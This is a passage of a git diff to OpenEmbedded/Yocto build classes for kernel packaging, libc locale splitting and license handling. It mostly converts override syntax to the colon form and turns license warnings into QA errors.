+ # When including an initramfs bundle inside a FIT image, the fitImage is created after the install task
+ # by do_assemble_fitimage_initramfs.
+ # This happens after the generation of the initramfs bundle (done by do_bundle_initramfs).
+ # So, at the level of the install task we should not try to install the fitImage. fitImage is still not
+ # generated yet.
+ # After the generation of the fitImage, the deploy task copies the fitImage from the build directory to
+ # the deploy folder.
+ #
+
for imageType in ${KERNEL_IMAGETYPES} ; do
- install -m 0644 ${KERNEL_OUTPUT_DIR}/$imageType ${D}/${KERNEL_IMAGEDEST}/$imageType-${KERNEL_VERSION}
+ if [ $imageType != "fitImage" ] || [ "${INITRAMFS_IMAGE_BUNDLE}" != "1" ] ; then
+ install -m 0644 ${KERNEL_OUTPUT_DIR}/$imageType ${D}/${KERNEL_IMAGEDEST}/$imageType-${KERNEL_VERSION}
+ fi
done
+
install -m 0644 System.map ${D}/boot/System.map-${KERNEL_VERSION}
install -m 0644 .config ${D}/boot/config-${KERNEL_VERSION}
install -m 0644 vmlinux ${D}/boot/vmlinux-${KERNEL_VERSION}
@@ -573,7 +617,7 @@ kernel_do_configure() {
fi
# Copy defconfig to .config if .config does not exist. This allows
- # recipes to manage the .config themselves in do_configure_prepend().
+ # recipes to manage the .config themselves in do_configure:prepend().
if [ -f "${WORKDIR}/defconfig" ] && [ ! -f "${B}/.config" ]; then
cp "${WORKDIR}/defconfig" "${B}/.config"
fi
@@ -590,34 +634,34 @@ addtask savedefconfig after do_configure
inherit cml1
-KCONFIG_CONFIG_COMMAND_append = " LD='${KERNEL_LD}' HOSTLDFLAGS='${BUILD_LDFLAGS}'"
+KCONFIG_CONFIG_COMMAND:append = " LD='${KERNEL_LD}' HOSTLDFLAGS='${BUILD_LDFLAGS}'"
-EXPORT_FUNCTIONS do_compile do_install do_configure
+EXPORT_FUNCTIONS do_compile do_transform_kernel do_transform_bundled_initramfs do_install do_configure
# kernel-base becomes kernel-${KERNEL_VERSION}
# kernel-image becomes kernel-image-${KERNEL_VERSION}
PACKAGES = "${KERNEL_PACKAGE_NAME} ${KERNEL_PACKAGE_NAME}-base ${KERNEL_PACKAGE_NAME}-vmlinux ${KERNEL_PACKAGE_NAME}-image ${KERNEL_PACKAGE_NAME}-dev ${KERNEL_PACKAGE_NAME}-modules"
-FILES_${PN} = ""
-FILES_${KERNEL_PACKAGE_NAME}-base = "${nonarch_base_libdir}/modules/${KERNEL_VERSION}/modules.order ${nonarch_base_libdir}/modules/${KERNEL_VERSION}/modules.builtin ${nonarch_base_libdir}/modules/${KERNEL_VERSION}/modules.builtin.modinfo"
-FILES_${KERNEL_PACKAGE_NAME}-image = ""
-FILES_${KERNEL_PACKAGE_NAME}-dev = "/boot/System.map* /boot/Module.symvers* /boot/config* ${KERNEL_SRC_PATH} ${nonarch_base_libdir}/modules/${KERNEL_VERSION}/build"
-FILES_${KERNEL_PACKAGE_NAME}-vmlinux = "/boot/vmlinux-${KERNEL_VERSION_NAME}"
-FILES_${KERNEL_PACKAGE_NAME}-modules = ""
-RDEPENDS_${KERNEL_PACKAGE_NAME} = "${KERNEL_PACKAGE_NAME}-base"
+FILES:${PN} = ""
+FILES:${KERNEL_PACKAGE_NAME}-base = "${nonarch_base_libdir}/modules/${KERNEL_VERSION}/modules.order ${nonarch_base_libdir}/modules/${KERNEL_VERSION}/modules.builtin ${nonarch_base_libdir}/modules/${KERNEL_VERSION}/modules.builtin.modinfo"
+FILES:${KERNEL_PACKAGE_NAME}-image = ""
+FILES:${KERNEL_PACKAGE_NAME}-dev = "/boot/System.map* /boot/Module.symvers* /boot/config* ${KERNEL_SRC_PATH} ${nonarch_base_libdir}/modules/${KERNEL_VERSION}/build"
+FILES:${KERNEL_PACKAGE_NAME}-vmlinux = "/boot/vmlinux-${KERNEL_VERSION_NAME}"
+FILES:${KERNEL_PACKAGE_NAME}-modules = ""
+RDEPENDS:${KERNEL_PACKAGE_NAME} = "${KERNEL_PACKAGE_NAME}-base (= ${EXTENDPKGV})"
# Allow machines to override this dependency if kernel image files are
# not wanted in images as standard
-RDEPENDS_${KERNEL_PACKAGE_NAME}-base ?= "${KERNEL_PACKAGE_NAME}-image"
-PKG_${KERNEL_PACKAGE_NAME}-image = "${KERNEL_PACKAGE_NAME}-image-${@legitimize_package_name(d.getVar('KERNEL_VERSION'))}"
-RDEPENDS_${KERNEL_PACKAGE_NAME}-image += "${@oe.utils.conditional('KERNEL_IMAGETYPE', 'vmlinux', '${KERNEL_PACKAGE_NAME}-vmlinux', '', d)}"
-PKG_${KERNEL_PACKAGE_NAME}-base = "${KERNEL_PACKAGE_NAME}-${@legitimize_package_name(d.getVar('KERNEL_VERSION'))}"
-RPROVIDES_${KERNEL_PACKAGE_NAME}-base += "${KERNEL_PACKAGE_NAME}-${KERNEL_VERSION}"
-ALLOW_EMPTY_${KERNEL_PACKAGE_NAME} = "1"
-ALLOW_EMPTY_${KERNEL_PACKAGE_NAME}-base = "1"
-ALLOW_EMPTY_${KERNEL_PACKAGE_NAME}-image = "1"
-ALLOW_EMPTY_${KERNEL_PACKAGE_NAME}-modules = "1"
-DESCRIPTION_${KERNEL_PACKAGE_NAME}-modules = "Kernel modules meta package"
-
-pkg_postinst_${KERNEL_PACKAGE_NAME}-base () {
+RDEPENDS:${KERNEL_PACKAGE_NAME}-base ?= "${KERNEL_PACKAGE_NAME}-image (= ${EXTENDPKGV})"
+PKG:${KERNEL_PACKAGE_NAME}-image = "${KERNEL_PACKAGE_NAME}-image-${@legitimize_package_name(d.getVar('KERNEL_VERSION'))}"
+RDEPENDS:${KERNEL_PACKAGE_NAME}-image += "${@oe.utils.conditional('KERNEL_IMAGETYPE', 'vmlinux', '${KERNEL_PACKAGE_NAME}-vmlinux (= ${EXTENDPKGV})', '', d)}"
+PKG:${KERNEL_PACKAGE_NAME}-base = "${KERNEL_PACKAGE_NAME}-${@legitimize_package_name(d.getVar('KERNEL_VERSION'))}"
+RPROVIDES:${KERNEL_PACKAGE_NAME}-base += "${KERNEL_PACKAGE_NAME}-${KERNEL_VERSION}"
+ALLOW_EMPTY:${KERNEL_PACKAGE_NAME} = "1"
+ALLOW_EMPTY:${KERNEL_PACKAGE_NAME}-base = "1"
+ALLOW_EMPTY:${KERNEL_PACKAGE_NAME}-image = "1"
+ALLOW_EMPTY:${KERNEL_PACKAGE_NAME}-modules = "1"
+DESCRIPTION:${KERNEL_PACKAGE_NAME}-modules = "Kernel modules meta package"
+
+pkg_postinst:${KERNEL_PACKAGE_NAME}-base () {
if [ ! -e "$D/lib/modules/${KERNEL_VERSION}" ]; then
mkdir -p $D/lib/modules/${KERNEL_VERSION}
fi
@@ -628,7 +672,7 @@ pkg_postinst_${KERNEL_PACKAGE_NAME}-base () {
fi
}
-PACKAGESPLITFUNCS_prepend = "split_kernel_packages "
+PACKAGESPLITFUNCS:prepend = "split_kernel_packages "
python split_kernel_packages () {
do_split_packages(d, root='${nonarch_base_libdir}/firmware', file_regex=r'^(.*)\.(bin|fw|cis|csp|dsp)$', output_pattern='${KERNEL_PACKAGE_NAME}-firmware-%s', description='Firmware for %s', recursive=True, extra_depends='')
@@ -698,7 +742,7 @@ do_sizecheck() {
at_least_one_fits=
for imageType in ${KERNEL_IMAGETYPES} ; do
size=`du -ks ${B}/${KERNEL_OUTPUT_DIR}/$imageType | awk '{print $1}'`
- if [ $size -ge ${KERNEL_IMAGE_MAXSIZE} ]; then
+ if [ $size -gt ${KERNEL_IMAGE_MAXSIZE} ]; then
bbwarn "This kernel $imageType (size=$size(K) > ${KERNEL_IMAGE_MAXSIZE}(K)) is too big for your device."
else
at_least_one_fits=y
@@ -724,9 +768,13 @@ kernel_do_deploy() {
for imageType in ${KERNEL_IMAGETYPES} ; do
baseName=$imageType-${KERNEL_IMAGE_NAME}
- install -m 0644 ${KERNEL_OUTPUT_DIR}/$imageType $deployDir/$baseName.bin
- ln -sf $baseName.bin $deployDir/$imageType-${KERNEL_IMAGE_LINK_NAME}.bin
- ln -sf $baseName.bin $deployDir/$imageType
+ install -m 0644 ${KERNEL_OUTPUT_DIR}/$imageType $deployDir/$baseName${KERNEL_IMAGE_BIN_EXT}
+ if [ -n "${KERNEL_IMAGE_LINK_NAME}" ] ; then
+ ln -sf $baseName${KERNEL_IMAGE_BIN_EXT} $deployDir/$imageType-${KERNEL_IMAGE_LINK_NAME}${KERNEL_IMAGE_BIN_EXT}
+ fi
+ if [ "${KERNEL_IMAGETYPE_SYMLINK}" = "1" ] ; then
+ ln -sf $baseName${KERNEL_IMAGE_BIN_EXT} $deployDir/$imageType
+ fi
done
if [ ${MODULE_TARBALL_DEPLOY} = "1" ] && (grep -q -i -e '^CONFIG_MODULES=y$' .config); then
@@ -739,7 +787,9 @@ kernel_do_deploy() {
TAR_ARGS="$TAR_ARGS --owner=0 --group=0"
tar $TAR_ARGS -cv -C ${D}${root_prefix} lib | gzip -9n > $deployDir/modules-${MODULE_TARBALL_NAME}.tgz
- ln -sf modules-${MODULE_TARBALL_NAME}.tgz $deployDir/modules-${MODULE_TARBALL_LINK_NAME}.tgz
+ if [ -n "${MODULE_TARBALL_LINK_NAME}" ] ; then
+ ln -sf modules-${MODULE_TARBALL_NAME}.tgz $deployDir/modules-${MODULE_TARBALL_LINK_NAME}.tgz
+ fi
fi
if [ ! -z "${INITRAMFS_IMAGE}" -a x"${INITRAMFS_IMAGE_BUNDLE}" = x1 ]; then
@@ -748,8 +798,10 @@ kernel_do_deploy() {
continue
fi
initramfsBaseName=$imageType-${INITRAMFS_NAME}
- install -m 0644 ${KERNEL_OUTPUT_DIR}/$imageType.initramfs $deployDir/$initramfsBaseName.bin
- ln -sf $initramfsBaseName.bin $deployDir/$imageType-${INITRAMFS_LINK_NAME}.bin
+ install -m 0644 ${KERNEL_OUTPUT_DIR}/$imageType.initramfs $deployDir/$initramfsBaseName${KERNEL_IMAGE_BIN_EXT}
+ if [ -n "${INITRAMFS_LINK_NAME}" ] ; then
+ ln -sf $initramfsBaseName${KERNEL_IMAGE_BIN_EXT} $deployDir/$imageType-${INITRAMFS_LINK_NAME}${KERNEL_IMAGE_BIN_EXT}
+ fi
done
fi
}
diff --git a/meta/classes/libc-package.bbclass b/meta/classes/libc-package.bbclass
index de3b4250c7..13ef8cdc0d 100644
--- a/meta/classes/libc-package.bbclass
+++ b/meta/classes/libc-package.bbclass
@@ -42,7 +42,7 @@ python __anonymous () {
# try to fix disable charsets/locales/locale-code compile fail
PACKAGE_NO_GCONV ?= "0"
-OVERRIDES_append = ":${TARGET_ARCH}-${TARGET_OS}"
+OVERRIDES:append = ":${TARGET_ARCH}-${TARGET_OS}"
locale_base_postinst_ontarget() {
localedef --inputfile=${datadir}/i18n/locales/%s --charmap=%s %s
@@ -129,9 +129,9 @@ python package_do_split_gconvs () {
deps.append(dp)
f.close()
if deps != []:
- d.setVar('RDEPENDS_%s' % pkg, " ".join(deps))
+ d.setVar('RDEPENDS:%s' % pkg, " ".join(deps))
if bpn != 'glibc':
- d.setVar('RPROVIDES_%s' % pkg, pkg.replace(bpn, 'glibc'))
+ d.setVar('RPROVIDES:%s' % pkg, pkg.replace(bpn, 'glibc'))
do_split_packages(d, gconv_libdir, file_regex=r'^(.*)\.so$', output_pattern=bpn+'-gconv-%s', \
description='gconv module for character set %s', hook=calc_gconv_deps, \
@@ -151,9 +151,9 @@ python package_do_split_gconvs () {
deps.append(dp)
f.close()
if deps != []:
- d.setVar('RDEPENDS_%s' % pkg, " ".join(deps))
+ d.setVar('RDEPENDS:%s' % pkg, " ".join(deps))
if bpn != 'glibc':
- d.setVar('RPROVIDES_%s' % pkg, pkg.replace(bpn, 'glibc'))
+ d.setVar('RPROVIDES:%s' % pkg, pkg.replace(bpn, 'glibc'))
do_split_packages(d, charmap_dir, file_regex=r'^(.*)\.gz$', output_pattern=bpn+'-charmap-%s', \
description='character map for %s encoding', hook=calc_charmap_deps, extra_depends='')
@@ -172,9 +172,9 @@ python package_do_split_gconvs () {
deps.append(dp)
f.close()
if deps != []:
- d.setVar('RDEPENDS_%s' % pkg, " ".join(deps))
+ d.setVar('RDEPENDS:%s' % pkg, " ".join(deps))
if bpn != 'glibc':
- d.setVar('RPROVIDES_%s' % pkg, pkg.replace(bpn, 'glibc'))
+ d.setVar('RPROVIDES:%s' % pkg, pkg.replace(bpn, 'glibc'))
do_split_packages(d, locales_dir, file_regex=r'(.*)', output_pattern=bpn+'-localedata-%s', \
description='locale definition for %s', hook=calc_locale_deps, extra_depends='')
@@ -210,11 +210,11 @@ python package_do_split_gconvs () {
supported[locale] = charset
def output_locale_source(name, pkgname, locale, encoding):
- d.setVar('RDEPENDS_%s' % pkgname, '%slocaledef %s-localedata-%s %s-charmap-%s' % \
+ d.setVar('RDEPENDS:%s' % pkgname, '%slocaledef %s-localedata-%s %s-charmap-%s' % \
(mlprefix, mlprefix+bpn, legitimize_package_name(locale), mlprefix+bpn, legitimize_package_name(encoding)))
- d.setVar('pkg_postinst_ontarget_%s' % pkgname, d.getVar('locale_base_postinst_ontarget') \
+ d.setVar('pkg_postinst_ontarget:%s' % pkgname, d.getVar('locale_base_postinst_ontarget') \
% (locale, encoding, locale))
- d.setVar('pkg_postrm_%s' % pkgname, d.getVar('locale_base_postrm') % \
+ d.setVar('pkg_postrm:%s' % pkgname, d.getVar('locale_base_postrm') % \
(locale, encoding, locale))
def output_locale_binary_rdepends(name, pkgname, locale, encoding):
@@ -222,8 +222,8 @@ python package_do_split_gconvs () {
lcsplit = d.getVar('GLIBC_SPLIT_LC_PACKAGES')
if lcsplit and int(lcsplit):
d.appendVar('PACKAGES', ' ' + dep)
- d.setVar('ALLOW_EMPTY_%s' % dep, '1')
- d.setVar('RDEPENDS_%s' % pkgname, mlprefix + dep)
+ d.setVar('ALLOW_EMPTY:%s' % dep, '1')
+ d.setVar('RDEPENDS:%s' % pkgname, mlprefix + dep)
commands = {}
@@ -293,13 +293,13 @@ python package_do_split_gconvs () {
def output_locale(name, locale, encoding):
pkgname = d.getVar('MLPREFIX', False) + 'locale-base-' + legitimize_package_name(name)
- d.setVar('ALLOW_EMPTY_%s' % pkgname, '1')
+ d.setVar('ALLOW_EMPTY:%s' % pkgname, '1')
d.setVar('PACKAGES', '%s %s' % (pkgname, d.getVar('PACKAGES')))
rprovides = ' %svirtual-locale-%s' % (mlprefix, legitimize_package_name(name))
m = re.match(r"(.*)_(.*)", name)
if m:
rprovides += ' %svirtual-locale-%s' % (mlprefix, m.group(1))
- d.setVar('RPROVIDES_%s' % pkgname, rprovides)
+ d.setVar('RPROVIDES:%s' % pkgname, rprovides)
if use_bin == "compile":
output_locale_binary_rdepends(name, pkgname, locale, encoding)
@@ -343,7 +343,7 @@ python package_do_split_gconvs () {
def metapkg_hook(file, pkg, pattern, format, basename):
name = basename.split('/', 1)[0]
metapkg = legitimize_package_name('%s-binary-localedata-%s' % (mlprefix+bpn, name))
- d.appendVar('RDEPENDS_%s' % metapkg, ' ' + pkg)
+ d.appendVar('RDEPENDS:%s' % metapkg, ' ' + pkg)
if use_bin == "compile":
makefile = oe.path.join(d.getVar("WORKDIR"), "locale-tree", "Makefile")
@@ -355,7 +355,7 @@ python package_do_split_gconvs () {
m.write("\t@echo 'Progress %d/%d'\n" % (i, total))
m.write("\t" + makerecipe + "\n\n")
d.setVar("EXTRA_OEMAKE", "-C %s ${PARALLEL_MAKE}" % (os.path.dirname(makefile)))
- d.setVarFlag("oe_runmake", "progress", "outof:Progress\s(\d+)/(\d+)")
+ d.setVarFlag("oe_runmake", "progress", r"outof:Progress\s(\d+)/(\d+)")
bb.note("Executing binary locale generation makefile")
bb.build.exec_func("oe_runmake", d)
bb.note("collecting binary locales from locale tree")
@@ -379,6 +379,6 @@ python package_do_split_gconvs () {
# We want to do this indirection so that we can safely 'return'
# from the called function even though we're prepending
-python populate_packages_prepend () {
+python populate_packages:prepend () {
bb.build.exec_func('package_do_split_gconvs', d)
}
diff --git a/meta/classes/license.bbclass b/meta/classes/license.bbclass
index f90176d6c0..d5480d87e2 100644
--- a/meta/classes/license.bbclass
+++ b/meta/classes/license.bbclass
@@ -6,7 +6,7 @@
LICENSE_DIRECTORY ??= "${DEPLOY_DIR}/licenses"
LICSSTATEDIR = "${WORKDIR}/license-destdir/"
-# Create extra package with license texts and add it to RRECOMMENDS_${PN}
+# Create extra package with license texts and add it to RRECOMMENDS:${PN}
LICENSE_CREATE_PACKAGE[type] = "boolean"
LICENSE_CREATE_PACKAGE ??= "0"
LICENSE_PACKAGE_SUFFIX ??= "-lic"
@@ -29,10 +29,12 @@ python do_populate_lic() {
with open(os.path.join(destdir, "recipeinfo"), "w") as f:
for key in sorted(info.keys()):
f.write("%s: %s\n" % (key, info[key]))
+ oe.qa.exit_if_errors(d)
}
-# it would be better to copy them in do_install_append, but find_license_filesa is python
-python perform_packagecopy_prepend () {
+PSEUDO_IGNORE_PATHS .= ",${@','.join(((d.getVar('COMMON_LICENSE_DIR') or '') + ' ' + (d.getVar('LICENSE_PATH') or '') + ' ' + d.getVar('COREBASE') + '/meta/COPYING').split())}"
+# it would be better to copy them in do_install:append, but find_license_filesa is python
+python perform_packagecopy:prepend () {
enabled = oe.data.typed_value('LICENSE_CREATE_PACKAGE', d)
if d.getVar('CLASSOVERRIDE') == 'class-target' and enabled:
lic_files_paths = find_license_files(d)
@@ -61,15 +63,7 @@ def add_package_and_files(d):
else:
# first in PACKAGES to be sure that nothing else gets LICENSE_FILES_DIRECTORY
d.setVar('PACKAGES', "%s %s" % (pn_lic, packages))
- d.setVar('FILES_' + pn_lic, files)
- for pn in packages.split():
- if pn == pn_lic:
- continue
- rrecommends_pn = d.getVar('RRECOMMENDS_' + pn)
- if rrecommends_pn:
- d.setVar('RRECOMMENDS_' + pn, "%s %s" % (pn_lic, rrecommends_pn))
- else:
- d.setVar('RRECOMMENDS_' + pn, "%s" % (pn_lic))
+ d.setVar('FILES:' + pn_lic, files)
def copy_license_files(lic_files_paths, destdir):
import shutil
@@ -152,6 +146,10 @@ def find_license_files(d):
find_license(node.s.replace("+", "").replace("*", ""))
self.generic_visit(node)
+ def visit_Constant(self, node):
+ find_license(node.value.replace("+", "").replace("*", ""))
+ self.generic_visit(node)
+
def find_license(license_type):
try:
bb.utils.mkdirhier(gen_lic_dest)
@@ -185,7 +183,8 @@ def find_license_files(d):
# The user may attempt to use NO_GENERIC_LICENSE for a generic license which doesn't make sense
# and should not be allowed, warn the user in this case.
if d.getVarFlag('NO_GENERIC_LICENSE', license_type):
- bb.warn("%s: %s is a generic license, please don't use NO_GENERIC_LICENSE for it." % (pn, license_type))
+ oe.qa.handle_error("license-no-generic",
+ "%s: %s is a generic license, please don't use NO_GENERIC_LICENSE for it." % (pn, license_type), d)
elif non_generic_lic and non_generic_lic in lic_chksums:
# if NO_GENERIC_LICENSE is set, we copy the license files from the fetched source
@@ -197,7 +196,8 @@ def find_license_files(d):
# Add explicity avoid of CLOSED license because this isn't generic
if license_type != 'CLOSED':
# And here is where we warn people that their licenses are lousy
- bb.warn("%s: No generic license file exists for: %s in any provider" % (pn, license_type))
+ oe.qa.handle_error("license-exists",
+ "%s: No generic license file exists for: %s in any provider" % (pn, license_type), d)
pass
if not generic_directory:
@@ -222,7 +222,8 @@ def find_license_files(d):
except oe.license.InvalidLicense as exc:
bb.fatal('%s: %s' % (d.getVar('PF'), exc))
except SyntaxError:
- bb.warn("%s: Failed to parse it's LICENSE field." % (d.getVar('PF')))
+ oe.qa.handle_error("license-syntax",
+ "%s: Failed to parse it's LICENSE field." % (d.getVar('PF')), d)
# Add files from LIC_FILES_CHKSUM to list of license files
lic_chksum_paths = defaultdict(OrderedDict)
for path, data in sorted(lic_chksums.items()):
@@ -251,16 +252,9 @@ def return_spdx(d, license):
def canonical_license(d, license):
"""
Return the canonical (SPDX) form of the license if available (so GPLv3
- becomes GPL-3.0), for the license named 'X+', return canonical form of
- 'X' if available and the tailing '+' (so GPLv3+ becomes GPL-3.0+),
- or the passed license if there is no canonical form.
+ becomes GPL-3.0) or the passed license if there is no canonical form.
"""
- lic = d.getVarFlag('SPDXLICENSEMAP', license) or ""
- if not lic and license.endswith('+'):
- lic = d.getVarFlag('SPDXLICENSEMAP', license.rstrip('+'))
- if lic:
- lic += '+'
- return lic or license
+ return d.getVarFlag('SPDXLICENSEMAP', license) or license
def available_licenses(d):
"""
@@ -287,11 +281,16 @@ def expand_wildcard_licenses(d, wildcard_licenses):
wildcards from SPDXLICENSEMAP flags and AVAILABLE_LICENSES.
"""
import fnmatch
+
licenses = wildcard_licenses[:]
spdxmapkeys = d.getVarFlags('SPDXLICENSEMAP').keys()
for wld_lic in wildcard_licenses:
spdxflags = fnmatch.filter(spdxmapkeys, wld_lic)
licenses += [d.getVarFlag('SPDXLICENSEMAP', flag) for flag in spdxflags]
+ # Assume if we're passed "GPLv3" or "*GPLv3" it means -or-later as well
+ if not wld_lic.endswith(("-or-later", "-only", "*", "+")):
+ spdxflags = fnmatch.filter(spdxmapkeys, wld_lic + "+")
+ licenses += [d.getVarFlag('SPDXLICENSEMAP', flag) for flag in spdxflags]
spdx_lics = d.getVar('AVAILABLE_LICENSES').split()
for wld_lic in wildcard_licenses:
@@ -333,7 +332,7 @@ def incompatible_license(d, dont_want_licenses, package=None):
as canonical (SPDX) names.
"""
import oe.license
- license = d.getVar("LICENSE_%s" % package) if package else None
+ license = d.getVar("LICENSE:%s" % package) if package else None
if not license:
license = d.getVar('LICENSE')
@@ -415,20 +414,22 @@ def check_license_format(d):
for pos, element in enumerate(elements):
if license_pattern.match(element):
if pos > 0 and license_pattern.match(elements[pos - 1]):
- bb.warn('%s: LICENSE value "%s" has an invalid format - license names ' \
+ oe.qa.handle_error('license-format',
+ '%s: LICENSE value "%s" has an invalid format - license names ' \
'must be separated by the following characters to indicate ' \
'the license selection: %s' %
- (pn, licenses, license_operator_chars))
+ (pn, licenses, license_operator_chars), d)
elif not license_operator.match(element):
- bb.warn('%s: LICENSE value "%s" has an invalid separator "%s" that is not ' \
+ oe.qa.handle_error('license-format',
+ '%s: LICENSE value "%s" has an invalid separator "%s" that is not ' \
'in the valid list of separators (%s)' %
- (pn, licenses, element, license_operator_chars))
+ (pn, licenses, element, license_operator_chars), d)
SSTATETASKS += "do_populate_lic"
do_populate_lic[sstate-inputdirs] = "${LICSSTATEDIR}"
do_populate_lic[sstate-outputdirs] = "${LICENSE_DIRECTORY}/"
-IMAGE_CLASSES_append = " license_image"
+IMAGE_CLASSES:append = " license_image"
python do_populate_lic_setscene () {
sstate_setscene(d)
diff --git a/meta/classes/license_image.bbclass b/meta/classes/license_image.bbclass
index 119c8dfc86..bf70bee99b 100644
--- a/meta/classes/license_image.bbclass
+++ b/meta/classes/license_image.bbclass
@@ -1,3 +1,15 @@
+ROOTFS_LICENSE_DIR = "${IMAGE_ROOTFS}/usr/share/common-licenses"
+
+# This requires LICENSE_CREATE_PACKAGE=1 to work too
+COMPLEMENTARY_GLOB[lic-pkgs] = "*-lic"
+
+python() {
+ if not oe.data.typed_value('LICENSE_CREATE_PACKAGE', d):
+ features = set(oe.data.typed_value('IMAGE_FEATURES', d))
+ if 'lic-pkgs' in features:
+ bb.error("'lic-pkgs' in IMAGE_FEATURES but LICENSE_CREATE_PACKAGE not enabled to generate -lic packages")
+}
+
python write_package_manifest() {
# Get list of installed packages
license_image_dir = d.expand('${LICENSE_DIRECTORY}/${IMAGE_NAME}')
@@ -27,7 +39,7 @@ python license_create_manifest() {
pkg_dic[pkg_name] = oe.packagedata.read_pkgdatafile(pkg_info)
if not "LICENSE" in pkg_dic[pkg_name].keys():
- pkg_lic_name = "LICENSE_" + pkg_name
+ pkg_lic_name = "LICENSE:" + pkg_name
pkg_dic[pkg_name]["LICENSE"] = pkg_dic[pkg_name][pkg_lic_name]
rootfs_license_manifest = os.path.join(d.getVar('LICENSE_DIRECTORY'),
@@ -40,7 +52,6 @@ def write_license_files(d, license_manifest, pkg_dic, rootfs=True):
import stat
bad_licenses = (d.getVar("INCOMPATIBLE_LICENSE") or "").split()
- bad_licenses = [canonical_license(d, l) for l in bad_licenses]
bad_licenses = expand_wildcard_licenses(d, bad_licenses)
whitelist = []
@@ -64,7 +75,7 @@ def write_license_files(d, license_manifest, pkg_dic, rootfs=True):
pkg_dic[pkg]["LICENSES"] = re.sub(r' *', ' ', pkg_dic[pkg]["LICENSES"])
pkg_dic[pkg]["LICENSES"] = pkg_dic[pkg]["LICENSES"].split()
if pkg in whitelist:
- bb.warn("Including %s with an incompatible license %s into the image, because it has been whitelisted." %(pkg, pkg_dic[pkg]["LICENSE"]))
+ oe.qa.handle_error('license-incompatible', "Including %s with an incompatible license %s into the image, because it has been whitelisted." %(pkg, pkg_dic[pkg]["LICENSE"]), d)
if not "IMAGE_MANIFEST" in pkg_dic[pkg]:
# Rootfs manifest
@@ -76,7 +87,7 @@ def write_license_files(d, license_manifest, pkg_dic, rootfs=True):
# If the package doesn't contain any file, that is, its size is 0, the license
# isn't relevant as far as the final image is concerned. So doing license check
# doesn't make much sense, skip it.
- if pkg_dic[pkg]["PKGSIZE_%s" % pkg] == "0":
+ if pkg_dic[pkg]["PKGSIZE:%s" % pkg] == "0":
continue
else:
# Image manifest
@@ -94,10 +105,10 @@ def write_license_files(d, license_manifest, pkg_dic, rootfs=True):
continue
if not os.path.exists(lic_file):
- bb.warn("The license listed %s was not in the "\
- "licenses collected for recipe %s"
- % (lic, pkg_dic[pkg]["PN"]))
-
+ oe.qa.handle_error('license-file-missing',
+ "The license listed %s was not in the "\
+ "licenses collected for recipe %s"
+ % (lic, pkg_dic[pkg]["PN"]), d)
# Two options here:
# - Just copy the manifest
# - Copy the manifest and the license directories
@@ -105,8 +116,7 @@ def write_license_files(d, license_manifest, pkg_dic, rootfs=True):
copy_lic_manifest = d.getVar('COPY_LIC_MANIFEST')
copy_lic_dirs = d.getVar('COPY_LIC_DIRS')
if rootfs and copy_lic_manifest == "1":
- rootfs_license_dir = os.path.join(d.getVar('IMAGE_ROOTFS'),
- 'usr', 'share', 'common-licenses')
+ rootfs_license_dir = d.getVar('ROOTFS_LICENSE_DIR')
bb.utils.mkdirhier(rootfs_license_dir)
rootfs_license_manifest = os.path.join(rootfs_license_dir,
os.path.split(license_manifest)[1])
@@ -144,12 +154,13 @@ def write_license_files(d, license_manifest, pkg_dic, rootfs=True):
continue
# Make sure we use only canonical name for the license file
- rootfs_license = os.path.join(rootfs_license_dir, "generic_%s" % generic_lic)
+ generic_lic_file = "generic_%s" % generic_lic
+ rootfs_license = os.path.join(rootfs_license_dir, generic_lic_file)
if not os.path.exists(rootfs_license):
oe.path.copyhardlink(pkg_license, rootfs_license)
if not os.path.exists(pkg_rootfs_license):
- os.symlink(os.path.join('..', lic), pkg_rootfs_license)
+ os.symlink(os.path.join('..', generic_lic_file), pkg_rootfs_license)
else:
if (oe.license.license_ok(canonical_license(d,
lic), bad_licenses) == False or
@@ -210,7 +221,8 @@ def license_deployed_manifest(d):
os.unlink(lic_manifest_symlink_dir)
# create the image dir symlink
- os.symlink(lic_manifest_dir, lic_manifest_symlink_dir)
+ if lic_manifest_dir != lic_manifest_symlink_dir:
+ os.symlink(lic_manifest_dir, lic_manifest_symlink_dir)
def get_deployed_dependencies(d):
"""
@@ -220,9 +232,10 @@ def get_deployed_dependencies(d):
deploy = {}
# Get all the dependencies for the current task (rootfs).
taskdata = d.getVar("BB_TASKDEPDATA", False)
+ pn = d.getVar("PN", True)
depends = list(set([dep[0] for dep
in list(taskdata.values())
- if not dep[0].endswith("-native")]))
+ if not dep[0].endswith("-native") and not dep[0] == pn]))
# To verify what was deployed it checks the rootfs dependencies against
# the SSTATE_MANIFESTS for "deploy" task.
@@ -256,13 +269,24 @@ def get_deployed_files(man_file):
dep_files.append(os.path.basename(f))
return dep_files
-ROOTFS_POSTPROCESS_COMMAND_prepend = "write_package_manifest; license_create_manifest; "
+ROOTFS_POSTPROCESS_COMMAND:prepend = "write_package_manifest; license_create_manifest; "
do_rootfs[recrdeptask] += "do_populate_lic"
python do_populate_lic_deploy() {
license_deployed_manifest(d)
+ oe.qa.exit_if_errors(d)
}
addtask populate_lic_deploy before do_build after do_image_complete
do_populate_lic_deploy[recrdeptask] += "do_populate_lic do_deploy"
+python license_qa_dead_symlink() {
+ import os
+
+ for root, dirs, files in os.walk(d.getVar('ROOTFS_LICENSE_DIR')):
+ for file in files:
+ full_path = root + "/" + file
+ if os.path.islink(full_path) and not os.path.exists(full_path):
+ bb.error("broken symlink: " + full_path)
+}
+IMAGE_QA_COMMANDS += "license_qa_dead_symlink"
diff --git a/meta/classes/linux-dummy.bbclass b/meta/classes/linux-dummy.bbclass
new file mode 100644
index 0000000000..9a06a509dd
--- /dev/null
+++ b/meta/classes/linux-dummy.bbclass
@@ -0,0 +1,26 @@
+
+python __anonymous () {
+ if d.getVar('PREFERRED_PROVIDER_virtual/kernel') == 'linux-dummy':
+ # copy part codes from kernel.bbclass
+ kname = d.getVar('KERNEL_PACKAGE_NAME') or "kernel"
+
+ # set an empty package of kernel-devicetree
+ d.appendVar('PACKAGES', ' %s-devicetree' % kname)
+ d.setVar('ALLOW_EMPTY:%s-devicetree' % kname, '1')
+
+ # Merge KERNEL_IMAGETYPE and KERNEL_ALT_IMAGETYPE into KERNEL_IMAGETYPES
+ type = d.getVar('KERNEL_IMAGETYPE') or ""
+ alttype = d.getVar('KERNEL_ALT_IMAGETYPE') or ""
+ types = d.getVar('KERNEL_IMAGETYPES') or ""
+ if type not in types.split():
+ types = (type + ' ' + types).strip()
+ if alttype not in types.split():
+ types = (alttype + ' ' + types).strip()
+
+ # set empty packages of kernel-image-*
+ for type in types.split():
+ typelower = type.lower()
+ d.appendVar('PACKAGES', ' %s-image-%s' % (kname, typelower))
